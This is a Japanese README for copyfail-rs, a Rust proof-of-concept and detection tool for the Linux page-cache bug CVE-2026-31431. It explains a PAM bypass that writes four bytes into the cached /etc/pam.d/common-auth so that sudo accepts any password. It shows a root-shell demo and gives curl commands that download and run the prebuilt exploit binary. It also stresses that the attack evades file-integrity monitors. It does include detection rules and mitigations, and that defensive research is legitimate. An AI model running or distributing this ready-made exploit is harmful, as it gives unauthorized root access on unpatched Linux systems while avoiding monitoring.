copyfail-rs

CVE-2026-31431（CopyFail）向けのマルチベクターPoC＋ペア検出ツール。 他の公開PoCにはない、新規のPAM認証バイパスベクターを搭載。 検出モードは、AIDE / Wazuh / OSSEC / Tripwireでは構造的に捕捉できないものを検出します。

単一の静的バイナリ。約108 KB。no_std musl。

デモ

noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#

コマンド1つ。ルートシェル。内部ではPAMキルショット（/etc/pam.d/common-authへの4バイト書き込み）、破棄されるパスワードを伴うsudo経由のPTYドロップでrootへ。[sudo] password for noot: の行は一瞬表示されます。sudoは常にそのプロンプトをエコーします。バイナリは任意の文字列を渡し、pam_unixの失敗がコメントアウトされたpam_deny.soを経由してpam_permit.soへカスケードし、rootになります。

$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===

TAMPERED (1):
  /etc/pam.d/common-auth [ext4]
    cache:  23c4f1ee...  ← 実際にロードされているもの（改変済み）
    disk:   117dab1c...  ← AIDE / Wazuh / Tripwireが見るもの（クリーン）

これがプロジェクトです。ディスクはクリーン、キャッシュは改変済み。公開されているFIMはすべて盲目です。このツールは違います。

クイックスタート（ビルド不要）

v0.1.0リリースにプリビルド済み静的バイナリがあります。アーキテクチャを選んでダウンロードし、実行してください。

# x86_64（ほとんどのラップトップ＋クラウドサーバー）
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/copyfail-x86_64-musl
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit

その他のアーキテクチャ:

整合性の検証:

curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/checksums.txt
sha256sum -c checksums.txt

静的muslバイナリ、ランタイム依存なし、任意のLinuxで動作します。

FIMが盲目な理由

ページキャッシュの改変。VFS書き込みなし。ダーティページなし。inotifyイベントなし。定期的な再スキャンはエビクションと競合します。

AIDE/Wazuh/OSSEC/Tripwire/SamhainはバッファリングI/O → ページキャッシュ経由で読み取り、改変されたバイトを真実としてハッシュ化します。またはエビクション後、クリーンなディスクをハッシュ化して「変更は一切発生していない」と判断します。

検出にはO_DIRECT（キャッシュスキップ）＋バッファリング読み取り（キャッシュヒット）＋ハッシュ差分が必要です。不一致＝CopyFailシグネチャ。それが --scan です。

ベクター

自動選択: --vector auto（デフォルト）。ステルス性の高い順にpam > su > passwd。失敗時はフォールバックします。

検出

SIEM取り込み用に --json を全モードで使用可能。

検出アーティファクト

detection/:

• sigma/copyfail-af-alg.yml、Sigmaルール、SIEMにドロップ
• auditd/copyfail.rules、augenrules --load
• ebpf/copyfail-trace.bt、bpftraceワンライナー
• apparmor/copyfail-block.profile、AppArmor 3.0+拒否ルール
• mitigation/disable-algif.sh、modprobeブラックリスト＋=y警告

緩和策

echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead

またはカーネルメインライン a664bf3d603d（2026年4月）。現時点では: Debian Sid/Forkyのみが配布済み。Ubuntu LTS、RHEL、SUSE、Amazon Linux、Fedora、Arch、Oracle = すべて脆弱。

注意: CONFIG_CRYPTO_USER_API_AEAD=y（組み込み）はmodprobeを静かにバイパスします。--check が警告します。

エクスプロイト＋緩和策の後: キャッシュされた改変は再起動まで持続します。緩和策は新しいエクスプロイトをブロックしますが、過去のものを元に戻すことはありません。

ビルド

cargo build --release --target x86_64-unknown-linux-musl

no_std。アロケータなし。ランタイム依存なし。単一の静的バイナリ。

プリビルド済みアーティファクトとSHA256サムはGitHubリリースに添付されています。

使用方法

各モード（exploit auto/list/all、detect check/scan/baseline/diff/watch/hunt）の具体的な1画面の例については、docs/usage.md を参照してください。

このREADMEのより長文のナラティブ版（より多くのコンテキスト、より深い解説）については、BLOG.md を参照してください。

脅威モデル

docs/threat-model.md を参照してください。

比較

認可と倫理

自分のハードウェアのみ。CLIゲートなし（セキュリティシアター）。README＋LICENSE＝フレームワーク。

検出モードは読み取り専用。本番環境で安全。

エクスプロイトモードはカーネルページキャッシュを改変します。RAMのみですが破壊的として扱ってください。後続の呼び出し元の認証をブロックします。

クレジット

CVE-2026-31431はTheori / Xintによって2026-04-29に公開されました（writeup、Xintブログ）。以前の公開PoC:

• theori-io/copy-fail-CVE-2026-31431（Python、732バイト、suベクター）
• tgies/copy-fail-c（nolibc付きC、su + passwdベクター、ポータブル）
• badsectorlabs/copyfail-go（静的Goバイナリ、suベクター）

このプロジェクト（copyfail-rs）: PAM認証バイパスベクター、デュアルモード検出、IRアーティファクトを追加。

ライセンス

MIT。

参考文献

• https://copy.fail/
• Linux修正: a664bf3d603d
• フロア: 72548b093ee3（4.14、2017年8月）
• 類似: Dirty Pipe（CVE-2022-0847）